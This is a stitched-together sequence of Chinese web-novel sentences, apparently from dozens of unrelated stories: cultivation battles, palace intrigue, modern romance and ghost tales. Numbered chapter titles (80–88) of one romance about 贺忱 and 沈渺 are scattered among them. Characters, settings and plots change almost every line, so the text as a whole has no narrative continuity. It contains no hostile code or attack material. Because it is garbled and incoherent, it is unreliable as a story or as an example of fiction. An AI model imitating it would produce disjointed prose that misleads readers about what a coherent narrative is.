九夜白长长舒出口气,事情还不算完,剩下的还需自己收尾,手中赤红长枪轻挥,凌厉的攻势落于夏侯长明身上,还在昏厥中的夏侯长明近乎是瞬间便是猛然暴起,神色中带着一丝迷茫看向九夜白。
其一,若他们回答了徐天的问题,那玉面狐狸以及眼前这位潇院长下场好不到哪里去,而且佛陀院的声誉也会受损。
只不过,看到第二条被划掉之后,他并未生气,而是先问了助理她的状态如何。
项和裕带着齐昊等人刚来到了项家就被一道冷嘲热讽的声音给拦住了,只见项云宽走了出来,一副倨傲的模样看向了齐昊等人。
叶落听到了外面的声音,也从屋子里面走了出来,看到了郑茜茜,她停在了那里。
周鸣皋那天确实不是偶然出现在桌球社的,他是知道沈袅袅会在那里,所以故意去和她相遇的。
“你说你,自己的酒量自己没数吗,还要和人喝那么多。”把碗筷放下后,周鸣皋习惯性地唠叨沈袅袅道。
李雯昕见宋霜终于劝住了自己的父亲,连忙点点头,跟用人把李治盛送回房间去休息了。
牛魔王似乎听到了铁血魔王的呐喊,此时它已七窍流血,毒素已经彻底侵占了它体内的全部,就在牛魔王即将失去意识的一刹那,那招聚集威武帅神级的暴躁力量开始爆发出来。
一楼改成了饭厅,二楼是‘精’品单间,供十二间,每间有两个姑娘。每间房‘门’口都有银牌,上面镀着金字,标明姑娘的名字及所会的曲目。
80.那个孩子……怎么样了
“谢谢你,李逸!”陈梦由衷的感谢,只是他不明白李逸为什么对她这么好--难道他喜欢上自己了?
“一哥,这里我们不要了?”叶鹏不舍的表情都不需要说,脸上尽显。
凌天现在完全就是一个疯子,出手就是杀招,狠招,而且招招致命,这黑山老僵有些招架不住,它知道凌天在报仇,而且是必杀它的,不过它也不是吃素的。
老大去看了棺材后就回来告诉我,的确是被人推开了一个巴掌宽的口子,问我要不要重新把棺材合拢,我让他先不忙,让我先查查到底怎么回事了来。接着我问老大借来了他家里的一把面粉,均匀地洒在堂屋的门槛两侧。
此刻所有人的眼睛纷纷看向了周运,当然还有一部分还看向了厨帮帮主,此刻不管是周运,甚至连厨帮帮主都遭遇到了前所未有的压力。
众人鱼贯而入,头前王神通似踩到了什么,忙蹲下将夜明珠照向那物,但见那是一具骸骨,森白的骸骨,王神通只一脚便将其踩烂想是死于此许久,夜明珠映照无数骸骨散落于地,这洞府恰似个抛骨之地,又似个地狱一般。
我时常会被鸡鸭扑腾略过头顶扇着翅膀的声音惊醒,而惊醒后下地却总能赤脚踩到一堆鸡鸭屎。
而此刻连德高望重的厨帮帮主脸‘色’都有些难看,显然对方是个十足的硬茬。
“当然是我的孩子,难道是你的?”林莎心里着急,不耐烦的回答道。
接下来,双鱼行星的修者各种法宝齐出,拼命地轰击着王开他们布置的星主防护阵,浩大的刀罡和剑罡,劈头盖脸地轰在阵法上。
转眼几个月过去了,芊灵的身边再也没有发生过类似的事情,可那次的事件却深深地印刻在她的脑海中,自此她再也没有去过海滩。
还真是不放心他,派来这么个监视人员,真以为她是那个不但脾气不好,还没有武力值的软柿子了。
如今,天虫国似乎想要对螣蛇妖国出手,楚风怎么可能会拒绝呢?
按礼制,两人大婚前三天,清溪都要居住在正则苑,之后便可以回王妃的院落居住。
骊山太高大了,而常威和邵丽雯都不能施展法力神通,虽然体魄依然强悍,但凭着一双腿,爬起来也难。
挂掉电话,仲夜雪的心情也好了许多。无论如何,慕容澈都是他的,即使苏樱回来了,也不可以抢走属于她的东西。
华夏一些修仙势力,之前对他很是敌视,甚至和西方那几大势力有合作,这一点他也是清楚的。
在另一边,“师傅,你竟然让慧去……”芊灵知道了神秘人让慧能去干的事情,神情异常惊讶。
肉色巨柱的底部则自地面的裂口深深的延伸下去,让人难以确定其究竟是从哪里钻出来的。不过可以肯定的是,其本体离这里应该并不算远。毕竟从震动开始到其钻出地面为止,并没有消耗掉多长时间。
若是在平日里,虽然只是个私立学校。但白副校长也不至于,对两名普通的刑警,表现的如此刻意讨好和低声下气。但怎奈现在是自己学校的教职员工出了问题,加之近期学校又是各种状况频发。
听着愈发靠近的脚步声,沐千寻焦急的要命,热热的茶水一股脑灌下去,灼的舌头火辣辣的。
此时常晓若心如刀绞。告诉他吧,不能这样拖下去,否则对他不利,常晓若心一横。
转念一想,她如今在这大明宫的后宫里头,虽然妃嫔不多,若不是向皇上请了旨,郭鏦便是再借几个胆子,怕也是不敢擅闯的。她是欢喜过头了,连这都忘记了。
若是天玄真的兑现承诺的话,恐怕最后周岳连衣服都得留下,只能带走个裤头。
她成了他的底线,只要碰到沐千寻的事,慕宥宸就会急的跳脚,会不顾大局的拥护她。
幽灵从腰间迅速拔出了枪,“呯,呯”两声枪响,那边两个已经进入前十的人倒下了。
出奇的,这次柳霸两人面对周岳的挑衅,并没有像之前那样异口同声的答应下来,而是眉头紧皱,眼中闪过犹豫之色。
这几句歌词,叶枫很理解,也听说过,他是一个常常喝酒的人,怎么会不知道这句歌词呢?
若是平时有人对他这样,他早将人一拳打爆了,可是这里古怪异常,因此面对天玄的动作,他铁青着脸,愤怒的看着。
当然,天玄所得到的太古青龙诀里面,有着诸多修炼的经验,想来龙狰所获得的,并没有这个。
81.让她一个人过来就行
如果不是陆离的话,他在复赛的时候就不会有那么多波折,他拥有帝兵的话,估计早就直接晋级了,最后还被陆离烧伤,彻底断绝了希望。
回到京城,离开学还有两天的时间,周绍想跟蒋子卓还有岳平军仔细讨论一下皮包公司的前景,但,一个寒假都不在京城,蒋子卓需要先带着凌潇潇去爷爷家,于是,几人只能约好第二天再碰头。
除了她们率先提及的海底之城。还有就是天空之城,而天空之城也是现在唯一还在活动的古代建筑城市,被天使一族占领。
一通折腾,等凌潇潇办完所有手续拿到宿舍的钥匙时,已经十二点多,一早起床吃的那点早饭早已经消化干净,一家三口都饿的前心贴后背。
凌潇潇想了下,确实好久了,九中的暑假补课时间和八中不同,八中是先补课后放假,九中是先放假后补课,所以两人就错开了,而十一,凌潇潇因为参加黄馨的婚礼也没回来。
经过十几天的谈判,十二大势力也制定了规则,参考天荒星域那边,这边十二势力定为十二主宰,攻守同盟。
许熙上完厕所,刚走到门口,这时突然听到“嘎吱”一声,此刻,让她惊羞无比的是,没想到楚雅柔和李韵婷站在门口。
“我体力好不好,你怎么知道?我走累了,要休息。”左嫽说着往地上一坐,不肯走了。
李封想了想还是跟了上去,他们回去哪里当然是开房间了,那么他们会做什么当然是上床了。
好在那飞车外表甚是坚固,虽与岩浆河亲密接触了一把,倒还没看到什么熔蚀的地方。
这时房间里飘着一股香甜的气息淡淡的不知是她身上自然的清香还是洗澡后沐浴露的味道。
“妈的!”西蒙骂了声粗口,操起酒杯狠狠摔在地板上,酒杯“砰”地碎成十数块。
有些人,你以为可以见面的;有些事,你以为可以一直继续的。 然后也许就在你转身的那个刹那,有些人你就再也见不到了。 当太阳落下又升起来的时候,一切都变了。
“那好吧,这颗就当送你的,我给你三天时间,说实话,人品方面,我是比较相信你的,所以宁愿先卖给你,你最好不要让我久等,我们现在对冥币的需求也很大。”蒋晓红警告说道。
因为他见到海伦的眼出现一片怒火海伦的身体飘然而至,白玉般的素手猛然伸出,领域的光芒爆炸般的响起,海伦的领域居然是雷光阵阵居然是雷系领域?难道说海伦是原本是雷精灵王?
公孙羽的心中猛然一震,北宫庄园那间地下暗室跃然在脑海中浮现。
众人看得心神俱醉,不是风未澈的勇猛劲悍,也不是绯雅微冷的优雅,而是全然的曼妙动人,能将打斗用这种美妙的方式表现出来,实在出人意料。
想到这里,青微的心渐渐的放松了下来,只要知道残图还有反应那就好办,神之禁典的第页,总不会比神之禁典的第五页还差?
好在大唐的高手不少,这次诸多敌方士兵自发组成的‘斩首行动’并未成功。
用过早餐,君墨去了厨房收拾碗筷,夏繁星一如往常一般,开门营业。
洛基自认为让真辉回答几个问题不是什么难事,可是洛基看到真辉明显迟疑了,似乎有什么忌惮。
再说了,就算是真要做动画,龙腾又不是没有什么好剧本!会做这种吃力不讨好的事情!?
“你先别急着替他们高兴,还没说完,别人抛橄榄枝的同时给了高价,你说这对咱们战队来说,是好事吗?”艾佳笑问。
大家虽然以前都很熟,但这个时候,身份一调换,也相对来说,变得有些拘谨。
说完,他跑上楼找了一套干净没有穿过的男款睡衣,拿着的时候还觉得有一些大,想起来言临的身材瞬间觉得自己多想了。
明妃魔妃两人知道后,心里非常的不忿,却不敢表达,无为老人现在是天主,要收回李元霸的权限,也只能无可奈何的接受。
厉苍穹心里一凛,示意时叙和陆寒川将带来的礼盒放到一旁的桌上。
首先如果那是真的孔高明,绝对不会那么冷淡,至少他在看见她们姐妹二人的时候,不会只是随便打个招呼,更不会拿了盛芝芝的糖吃。
说话的是一个眼窝深陷,颧骨凸出,鼻梁细挺,嘴唇仿佛一条线一般的男子。尽管说的台词十分有礼貌,不过在他带着冷意的沙哑嗓音和面无表情的演绎下,反而给人一种不同寻常的压迫感。
楼梯口上面摆着酒阵,就是一杯杯的啤酒,每隔上一两阶就有三杯啤酒摆在台阶上,从底楼一直通到二楼。
“咦?”楚泽惊疑一声,便是察觉到了一丝不对劲,因为,他感觉不到青灵的气息了,仿佛陷入了深深的沉睡一般,怎么叫都是叫不醒。
现在苍海满脑子里装的大部分都是李立成的事情,一时间没有发觉自己这话的语病。苍海没有想起来,但是电话那头的三位可就愣住了,大家你看看我,我看看你,然后冲着苍海竖起了大拇指。
82.贺忱那卦的,我更不喜欢!
“哎呦!”
何之洲眼看不妙,迅速站起来双手接着沈渺的身体。
沈渺一阵心惊,落在了他怀里,被他双手紧紧托着后腰。
她提气,连呼吸都不敢用力,迟迟缓不过来。
“好不容易借着工作光明正大出来,你这么着急走干什么?”
何之洲被吓个半死,“我又不会吃了你!”
张昊天一脸的疑惑,不知道还有什么是比毁灭世界还要严重的事情。
“为什么这么说?”赵风微微一愣,晴儿的话究竟是什么意思呢?这都已经突破到筑基中期了,怎么还可惜?
夏侯惇点点头,策马而出,此时已经不是讲不讲道义的时候了,夏侯惇也没有犹豫什么,此刻的第一要务便是将困在战场之上的四人救回来。
“那你也要有那个本事,你可不是青天,可没有言出法随天地动的本事,你那一身的蛮力,想要摧毁我的神魂,难度可不是一般的大呀。”一道清脆的身影从凤凰的身上传了出来。
“相信就好,好好干,一起努力!”叶晓峰是拍了拍江黎的肩膀。
不过,随着一次次的震撼来袭,龙蕊似乎已经习惯了,这样的事情!缩影当听到龙傲的身份之后,只是点点头,并没有太过惊讶,这不由得让龙傲产生了浓浓的挫败感,这也……太打击人了吧?
其实,“老鼠”在普朗克船长他们进攻的时候,就一直匿藏在基地,先让梦之队越过自己的身边,然后再悄悄地跟在梦之队附近,准备偷袭。
秦峥的手一松,胖掌柜立马软到在了地上,也不管空气里的臭气是多熏人,他拼命的大喘着气呼吸着,结果被呛得不停的咳嗽。
那是一种说不出的东西,就在他的心头,似乎在这一瞬之后,他的眼睛都变得闪亮了许多。
“那就按照雪儿的方法来,不过这……东西怎么办?”赵风顺手在卞雪的胸口抓了一把。
可是,当大辉哥托起林娇娇的下巴时,林娇娇却把脸躲到了一边,不让大辉哥碰自己。
这张上下床,比较宽,都是1米5,一张床上睡俩男孩子都绰绰有余。
说完,转身进入了酒店,柳舒华也向他们打了个招呼,跟着吕老进入了酒店之中。
当子南看着离去的左权慢慢的放松了警惕,脑袋上被狠狠的砸了一下,子南手里的刀也在这一刻离开了老郑的脖子,大猛迈步过去一脚踹在了子南的脸上。
那尊他们无法感知气息的墨玉方印,竟然徐徐坠落,把剑气镇压、碾碎。
大板头跟二板头看着老郑手里头的仿六四,把牙咬的“嘎嘣,嘎嘣”作响,没敢吭声。
神圣的气息出现在巫妖头上,金色的神圣光芒照耀了巫妖,黄雅莉将丽斯的巫妖性命给挽救了回来。
孙秀娥当即就让人上门去提亲,孙秀娥也没隐瞒,只说周志清娶了个城里姑娘,那城里姑娘看不起他们家这些穷亲戚,就跟周志清闹矛盾,离了婚。
埃迪孤身一人可怜巴巴的坐在不远处的空座位上看着伊万,接着他拿起咖啡喝了一口,下一秒天空雷声大作,吓得埃迪手里的咖啡杯直接摔碎在了地上。
如果在平时,这种异动一定会被门神墙雕鬼发现。但现下天劫驾到,这些鬼仙地仙正遭了克星,魏泽便把他们都调去看守结界不作多动,自然也就没法时刻监控学生们的情况。
83.她的私事,跟贺忱又有什么关系?
贺忱沉默着。
好一会儿,程唯怡吸吸鼻子,转过头来看着他。
“贺忱哥,你刚刚都没怎么吃东西,我再陪你吃一点吧?毕竟,你还要工作呢。”
侍卫们齐齐应诺,立刻一个个神情狰狞的冲上来,他们浑身爆发出强大的气势,居然每一个修为,都在皇武境一二重左右。
到底是多么恐怖的兵种压制,还有多么好的地利能够带来这种天大的优势。
至于所谓的魔域,其实就是太古世界人族大势力之一,汇聚着无数积年老魔,一般很少有人敢于招惹魔域,许多人甚至路过魔域的时候,都会选择绕道而行。
在县令的带领下,李格等人来到某间狱房前,里面关押着一个蓬头垢面的老人。
二人谈话之时,一白衣少年正容款步的从门外走了进来。只见他肤色白皙,清秀五官中带着一抹俊俏,一半乌发由白丝带整齐的束着,一袭干练水纹白衣道袍更显修长身材。
“白石!你晓得这是什么地方不?”白十一极力隐忍着火气,但问话时也是咬紧了牙冠。
显然,姬渊早就发现这名童子的特殊,因此才特意“点名”,让这名童子来解答问题。
苏联空军的格拉-3战斗机,在白云之上飞行,这是苏联二战时期生产的一款战斗机,产量还算不错,到目前为止,已经生产了将近七千架。
当抵达海底之后,李格看到不少美人鱼在追逐嬉戏,当看到姗姗带着李格回来,顿时一个个围聚了过来。
果然是她,果然是她……梅若君觉得天旋地转,一把撑住桌角,坐倒在长凳上,半天也说不出话。
上官晨出身高贵,不能说他这些年来修练幻力不用功,但是遇到的困难却很少,这样的伤痛都很少能碰到,而且又以这种丢人的方式。
景晔的眉毛一掀,伸手轻轻抚了一下唇,手上便沾了几滴血,他再次挑了一下眉,然后定定地看着兰倾倾。
此时再看米不该,张通玄不禁瞪大眼睛。他分明有种感觉,米不该的修为好像提升了。
另外,她那边还成功的俘虏了两个和伊格娜丝一样的一次性使者魔法武器。
但这起义军队来自民间,简直野火烧不尽,又哪是那么容易彻底剿灭的。一时间,大唐战事不断,农业经济受到巨大影响,国力、兵力也在逐渐消耗。
他家生意这么兴旺,旁人自然不会朝着少的方向估量,总觉得金山银海也聚敛出来了,而且交相议论,只会越来越夸大。
腹中一股清凉,虽然感觉上不像她那个便宜四哥喂她的药效好,却也舒服了不少。
“大一些……也就是说,即使努力了也不见得一定成功了?那这……”红孩儿有点接受不了。
“我也不知道,刚从那辆车下来,再坐这辆车,总觉得少了些东西。”欧阳风华也有点迷茫,她仿佛知道少了什么,就是说不出来。
果然不出冰蟒所料,刚挡下一波白色气流,跟前忽然铺天盖地的传来一阵猛烈的威压,连身在心境内的他们都感觉到了不平常的震荡。
方才跟随在他身边的三人已消失不见,取而代之的是十几个修为深厚的修炼者,这些人修为普遍在圣境之上,都穿着清一色的血色长袍,长袍上刺绣着精美的花纹,就像一条条蠕动的血管,让人不禁头顶生寒。
84.贺忱就是在躲着她?
贺忱看了看时间,八点半。
他们还没吃晚饭,她硬是一声不吭,埋头工作。
几次揉着酸软的肩膀和脖子,都不肯提下班的事情。
睡着的沈渺脸上没了那份倔强,细嫩的皮肤上能看到容貌。
行云恨不得一掌拍死自己,也总好过活着受这种痛苦,但他没有自戕的勇气。
听到马朗前面说的话,高飞不由的松了口气,可是当马朗说出后面的话以后,高飞顿时皱起了眉头?
“你很不错,真的很不错!”李七夜拍着石昊的肩膀,大声笑道。
可是现在对他有威胁的两名真道九层的强者被许天借巧杀死了,压力大减的他更不会放过剩下的两人。
之前在三花岛,便有许多鬼兵在三花岛遭受到火神炮的轰击之后躲进了地洞里面。
许天点点头说道:“你早应该如此的,换做仙王的话你不死也重伤了。”对方闻言冷哼一声但是也没有说什么。
但是中间派两边都不想得罪,所以拒绝了他们的拉拢。正因为如此,中间派遭到了那两派的攻击。
老穆尔登并没有怀疑梁动所说的话,毕竟从他得到的消息来看,特里确实是最后被迫无奈才下的手。
一个搞不好就可能被掩盖住,得不到应有的效果,幸好的,也没有跟孩子们说,具体是在几号回归,往后推一两个星期再回归的话,足够前面的热度过去,不再受影响了。
又赶上十旬休假,这天皇上也是格外的有雅兴,竟然打开了自己皇宫里的御花园让大臣们随便欣赏。本来就喜欢美好事物的东西的郭达自然也没有放过这次机会,陪着皇上一同逛着御花园。
“师妹。南越两位王子的事情我会查清楚,给你一个公道的,但是现在你能不能先回宫?”帝陵泽声音还想在胡忧身后,很着急的样子。
她知道这不是他的真实相貌,可南山的满腹诗论,一身才华,不是区区相貌就能一概而论的。
一旦雪崩,将是整个层面覆灭的结果,想要活下来就必须到另一个层面去,所以大家几乎没有多想,听到元沅的话之后,全部跟在她们身后。
五种材料都是散发出五颜六色的光芒,这些都是辅助阵营玩家的心爱之物,想要成为一名强大的辅助阵营玩家,合成道具的材料是必不可少的,所以,材料对于赵林来说比什么都珍贵。
运转洞天兵诀,强劲的吸力自其丹田内传出,将灵气不断纳入体内,灵气经由经脉一转,又化作了点点神奇滴入丹田。
亏她还那么相信胡忧,银子一把一把的递给人家,殊不知自己才是输得最惨的那个。
元沅此时也顾不得让元夕直到上次元宵是去断青山的事了,她觉得元宵实在是太冒险了,每次都把自己搞得浑身是伤。
“安夏姐姐,我和西西现在就决定好了,我们要亲手杀了张林雪!”白豆豆沉声道。
肖月月看了看四周,发现只有顾北荣一人,而且还是个密闭的空间,顿时计上心来。
没多久,元沅他们便来到了一颗庞大的古树前,只不过那棵树不是元沅记忆中看到的枯荣树,枯荣树生长在海底,面前这颗古朴的大树只是一个迷惑他们的假象。
85.你跟贺总解释一下吧
这贼眉鼠眼的王大眼瞧着就不是个好人就算了,但那人模人样的林青之难道就真是什么良善之辈?
她说完之后,不知过了多久,才听到楚烆那几乎淡漠到无情的声音,磁性而又低沉,清冷到不含一丝情绪,令人琢磨不透。
“我才没嫉妒她呢,我也没什么特别的心愿需要主人去完成!”徐蔷薇笑着在王海怀里蹭了蹭,说道。
安置好楚烆,成充又潜入上京城,寻了大夫来,楚烆神志昏沉,但却不敢真的睡过去,他怕他一觉不醒,更怕他见不到崔滢。
对方实力可是实实在在的宗师层次,那源源不断的青雷罡气更是棘手,如跗骨之蛆纠缠不断。
她可记得,当年的萧沉砚嘴巴比自己还刁,那叫一个食不厌精脍不厌细。
但一直以来,他都跟陈阳有合作,专门压榨那些没有背景的住户,把他们的拆迁款压得极低。
紧接着石室的门应声打开了,只见一个身着绿袍的老者来到了马伯明和苗虎的面前。
而何雨柱这边也是第一时间前往京州,找到了汉东安全分局的副局长林志为。
进入城市之后,李想看着这和帝国中部完全不一样的建筑风格,感受着这里的风土人情。
伍巍手持炸弹才扯出一半,腰都还有直过来,一听到魏仁武大喊,立马不敢动弹分毫。
魏仁武能够坐在这里等待一个重要的犯人,是别人给他的面子,他自然也要老实点,给别人一个面子。
其实慕紫卿还沉浸在沈叔叔刚刚主动介绍自己的身份那种喜悦上面,迟迟的缓不过神来。
魏仁武沉默无语,只是抽着烟,而岳鸣也没有说话,他知道魏仁武现在的心情很复杂。
殷戈止垂眸,不耐烦地自己拿了衣裳出来,将她身上的系带解开,亲手替她更衣。
虽然隔着有一段距离,不过胡美人还是听到楚河了的话,知道了丽妃的力量居然是楚河给的,眼中精光一闪而过,心想,难道皇上已经觉醒了祖龙血脉。
正所谓一石激起千层浪,军备首长的举动着实在高层掀起了轩然大波。
楚河看着楚欣离开,暗暗松了一口气,心想,一个麻烦已经解决了,这是一个好的开头。
王明只得苦笑,无法,只得抱着妻子,去试试自己这沉睡了近半年的神躯是否已经生锈了。
“那被勾引得有没有感觉?”她从背后勾住了男人的脖子,声音柔柔的。
而且随着伏羲大神功德圆满离开,中州人族组织结构松散的问题立即浮现,没用多久就彻底分散成了部落形式。
商量完此事,无玄微笑着打开剑匣,让大家看看两柄剑都是什么样子。
忽地,弥芥挡在他面前。“都这个样子了,就省点力气恢复身体吧。”她伸手去扶他,却被对方不领情拍开。
想到这里,严老看了看展海平身边的天幸,心里不由得暗自庆幸。
鼻尖处传来一丝腥臭味道,让人很是作恶,凑近一看,原来是一个闭着眼疫情发作的老人被一只野鬼啃食了阳气血肉。
如果自己一直生活在囚笼之中,那还谈个什么自由,千百年的努力就是一场笑话,可悲的笑话。
那时候天气很好,灿烂的阳光时而躲在积云里,空气明亮却不炙热。高大挺拔的树木在路边挡出连片阴凉。山风乱窜。热而不燥。
“莉莉丝,不,应该是莫妮卡,没忘记你的承诺吧。”张毅开心的对莉莉丝说道。
但他却没有立刻追到寒川的屋子里面去问个明白,而是去炼器房看了冰清壶。这个壶上到底有什么秘密?
而且他们两个相比较来说其实都很好对付。毕竟如果说经验和球场的统治力,他们还太过于稚嫩了。
墨心老道进得屋来,恭谨的问候了一句早安,墨隐点点头,夹了一筷子腌豆脯吃了。
再看一眼道路前方,第二个绿灯也开始闪烁,景一诺马上慌张地启动车子趁着最后的时间,在黄灯里过了马路。
“我去救他,你们待在这里等消息!”说完紧了紧粗布麻衣,无所顾忌的朝着蛇海走去。
今天是周五,正吃着早餐准备去上学的叶智,也是愣了一下,他这才想起今天老爸加班,老妈老家有长辈去世了,不得不回老家去了,好像还真没人能去参加她的家长会了。
训练开始的时候,乔羽当然是最慢的一个,不过差距已经不大了,基本上10圈以后,乔羽就领滑了,而且领先的幅度越来越大。
就看到,妖使身后出现了无数道狰狞庞大的影子,它们拥有奇形怪状的身躯,可怕的撑开四肢,缓缓走来。
86.贺总你就是想,也没机会了!
知道姐姐是要把这个送人情的机会留给自己,林立人望着梁善等人离开要的背影感激地道。
“夜洛,你们这是?”二长老呵呵一笑,试探地问道。夜洛慢悠悠地走到会议桌前坐了下来,一副大爷似的模样让在场长老们看得牙痒痒。
当年轻的巅峰宗师,从黑色烟雾当中完全显露出来的时候,九天绮罗和蓝晶等人看到,对方的脸色异常的苍白,看上去虽然没有明显的伤,但是也能够看的出来,接下白玉龘的这一击,也让他不那么的轻松。
“就是,就麻麻长这样还怕色狼?”叶久久学着西门说话,只是话到她嘴巴里,却直接变了味儿。
当然,他即便是明白了这一点,也只能够按照白玉龘的吩咐去做,不然的话,他恐怕连死,都不会那么痛苦了。
可是,也不至于哭成这样吧?莫非这次同先前闯的那些祸事不一样?不是闹着玩玩,而是真的走了?
梁善对自己的手癹自然是有信心的。看到唐心儿惊诧的样子就已经猜到了结果,笑着问道。
不过凡事都要循序渐进,秦寿很明白这个道理,要玩制服诱huo,首先就要制服先诱huo住嫦娥才行!正所谓,爱美之心人皆有之,他还真不信了,面对21世纪,地区上那形形色色的美丽衣服,她会无动于衷?
高飞收功,继续盘腿坐着不动,众随从也闭嘴不言,大殿内一片安静。
林影只是冷冷的看着,而面前的众人越说越是激动,为了自己能够活命,或是揭发他人,或是将知道自己事情的人杀掉!人性险恶,尽皆表现在林影面前。
何夕也是一个不心疼钱的主,难得这么没有任何压力的轻松,方离说什么就是什么了。
烈真青大怒,来战蓝若水,二人腾飞于上空,一个舞刀,一个弄剑,战在一处。
苏润只要她跟紧自己,也就随她到处去看。他当然是有所准备的,阿九身上早就穿上了他苏家祖传玄丝金线织成的软甲,她手腕上的串珠是当日蓝大酋长给的信物,防虫防毒,一般等级的毒物都近不得她身。
“第一,就是你原来在大学里谈过恋爱,而没有深入接触男子,使你感到男子是很奇怪的动物,因而喜欢与他接近,当然这也是生物学上的接近,毕竟异性相吸是再正常不过的观念,所以我非常赞同。
卫宫切嗣陶醉般的抽着廉价的香烟,感觉自己动荡的心完全沉静了下来。
但楚君墨的表白,尽管有些意外,却让阿曦嫣有一种说不出的惊喜。
“吞吞吐吐做什么,把老爷说的,夫人说的,太夫人说的,一并讲来。”赵律很清楚京城家里这几位爱子如命,爱孙如命的会有啥吩咐。
“因为哥哥的学习成绩很好,所以他们根本没有任何怀疑呢。”王菲想起来了早给父母上请假的时候,本来父母两人还有些不相信的,但是一牵扯到刘零,两人一下子就相信了呢。
如果说上次穿越是因为不同位面相互叠加,导致的大量上帝粒子的出现,从而引发了时空扭曲的话,那么她这一次回来真的是毫无征兆。
“长门外,天城边,出云烧成仙。信浓改航出港沉,武藏炸成片。大和沉在冲绳外,飞机飞满天。一看海军还剩谁,阳炎八号舰。”看到两人毫无所动的样子,她又唱了一遍。
“不要!住手!”提尔皮茨奋力挣扎着,她没想到自己偷鸡不成反蚀把米。
更加诡异的是,云剑挡在天地之间,却并没有形成暗影,‘云剑’反射阳光,反而变得更加炽烈,整片云彩都透出灿灿金色,照得世间玄光闪烁。
成千上万双眼睛都在看着孙珲,这是一对数万人的凝视,孙珲的目光平静坦然。
卫慕衡不明白黑豺在做什么,这时他忽然感到手上产生了阵阵的热流,向全身蔓延开来。
“拜托,你已经说了第七遍。我爷爷的确是说在蛮荒边缘,大概就是这附近。”白若瑾头都没回,继续逗弄那两只甲虫,不时的用树枝来回拨弄。
她前一刻还一片晦暗的眸子此刻又重新亮了起来,就像清晨打开窗泻进一室阳光。
突然想到地下实验室的真空舱里面还躺着两具僵尸,她就乖乖地闭上了嘴巴。
“这不是凛樱殿下的成名曲吗?”身后突然传来一道浑厚的声音。
不是别人的破烂茅草屋,也不是借住的陈春颖给自己的宅子,而是一个真真正正属于自己的宅子。
“臣妾就不打扰皇上和诸位大臣议事了,臣妾回后宫了。”季暖俯身行礼后就想离开,这样说话太累了,远不如待在空间自在。
虽然,孔氏和湛淑荣讨论婚嫁的事情,自己坐在那的确有些尴尬。
“住口!”君一笑的话没说完就被云千妙打断,一想到君一笑接下来要说的话,云千妙只感觉脸上发烫,心中又羞又怒。
“柳老板,琴娘娘今日我要了。”王檀抬了抬手,将一叠面额很大的厚厚的银票放在桌上。
醉月楼内,刘言正看着天色还没大亮,门口就围满了的人,十分的欣喜。
众人纷纷抬头看去,只见远处天空,十几人脚踏飞剑,宛如剑仙一般破空而来,凛然剑气浩浩荡荡,如同浪潮一般朝着现场席卷而来。
87.身为前夫,帮你参谋参谋
“您程小姐很般配,程小姐也长得很漂亮。”
沈渺停下来说。
贺忱墨瞳凝着她,“这么说,你跟那个小职员,是真的有意准备下一步?”
他隐隐带着一股不满。
见邢道荣承认,神色坦然,既无得意,也无寻常鲁莽猛将的骄横,刘巴眼睛一亮。
深挖洞、广积粮,无论是农业还是经济,在这些人看来都不会什么问题, 然后就是暗中培养高手,这一部分很重要,就跟和平时期的核威慑一样, 也是流亡者官方最不擅长的一项,所以他们才会那么看重左舟。
当着全班七十多人的面,直接跟老李互怼,气势方面完全不落下风。
掌权久了,实在是有点听不得有人想要削减她手里的权力,但也无可奈何,总不能把皇室宗亲都灭掉。
“真的吗?这可真是太好了,我现在唯一放心不下的就是她,有你这句话,我就算是死了,也能安心和目了。”顾九涯说着就大笑起来。
“父亲?!“钟离玲狠皱眉头,看着钟离予的眼神,充满了不可置信。
“杨将军有令,为防止星宿派残党余孽混出城去,幽州城暂时封禁,何时解封另行通知!”城门处一个拄着长枪的士兵高声喝道。
刚才说那话的是李逢春,这时候她又闭嘴不说话了,老老实实拔草。
甚至连今晚走不了都考虑上,崔宗知道情况有多严重,他的实力在这里也是鸡肋。
宁香寒用手指抓着床边,她用过的魔法让她的手指僵硬和发青。那是真的吗?我差点死在梦里吗?她滚到一边,倒在潮湿的床单上,卢米呜呜地叫着,轻抚她手腕上的手镯。
当他们再一次出现的时候,龙天发现他们已经处在了另外的一个房间里面,而那个放假的一处墙壁上还悬挂着一个水晶球,而那个水晶球里面黑漆漆的什么都没有。
暗想,好不容易有和刘子芸单独相处的机会,趁着这次机会,好好和刘子芸说说话,让刘子芸了解自己更多点,对自己生出更大好感。
我还不想死。不知为什么,我很想活着,活着跟你在一起。这是不是代表我已经爱上了你。
“罗恩,罗恩!”不知过了多久,罗恩感觉到有人在扯他的胳膊,他才终于惊醒过来。
看到村里对于龙天的尊敬,跟对自己的礼貌,白如雪顿时就感到了羞愧了,自己之前对于他们是怎么样的,而他们还对自己这么客气,虽然这是在不知明的情况下,但是这也让她非常的感谢龙天。
“这可由不得你。”罗恩搂着薇诺娜倒了下去,压在她那丰润的娇躯上,一低头,吻向了她的粉颈。
“爷爷,我从来没有考虑过这个问题,在我看来,我娶阿加莎本是理所当然的事情,根本无需去特别考虑。”罗恩微微迟疑了一下说道。
其余的两个选美佳丽也一样衣着大胆,香艳而不低俗,赢得了观众的瞩目,也许明天络上就会有无数条她们的照片。
她曾经将左媛送上了顾景臣的床,毁掉“简凝”在顾景臣心目中完美无瑕的形象,顾景臣是什么心情她不知道,可是光凭顾景臣翻脸不认人将她送进了监狱,指控她谋杀等各种罪名,足以猜到顾景臣是极其在意的。
88.现在去把这个孩子打掉!
“我不明白,您为什么一直给我和音音灌输这种思想。”
沈渺停下来,她认真看着浅姨,“您也没有家人,难道您不渴望亲情吗?”
她不知道浅姨怎么来的孤儿院。
刘轩看着这么容易就收复了一个土匪帮派,心中一阵愕然,满脑子疑惑的想法,然而却没有时间去想,而是打算边走边想,而现在,刘轩则是开着车,然后拉着艳魁和那个土匪头子向着另一处驶去。
虽然心里面这么吐槽,但田甜还是避嫌去到了楼下去取的饮料,说起来林管家虽然只是他们家的管家,但也在他们家呆了很多年的,也算是长辈,该留的脸面还是得给对方留的。
“对不起,这位先生,你们真的不能进去!这也是为了你们的安全着想!”男警察郑重无比的说道。
金色鳞片闪闪发光,那独特的代表尊贵身份的五爪,清晰的出现在人们眼前。
“行!”车顶一口答应,崔斌看这此二人,虽然不清楚他们心中究竟怎么思考,但感觉得到彼此之间那一条无法跨越的鸿沟,他顿了一顿,跟随者二人朝着出城当中走去。
原本严夫人只命备下一人一身新衣服,樱桃见两人知礼懂事,很得严夫人欢心,这会儿,见面礼一人只有一身新衣服只怕有点寒素了,匆忙之下,取了一块玉佩一块禁步添在两套衣服上。
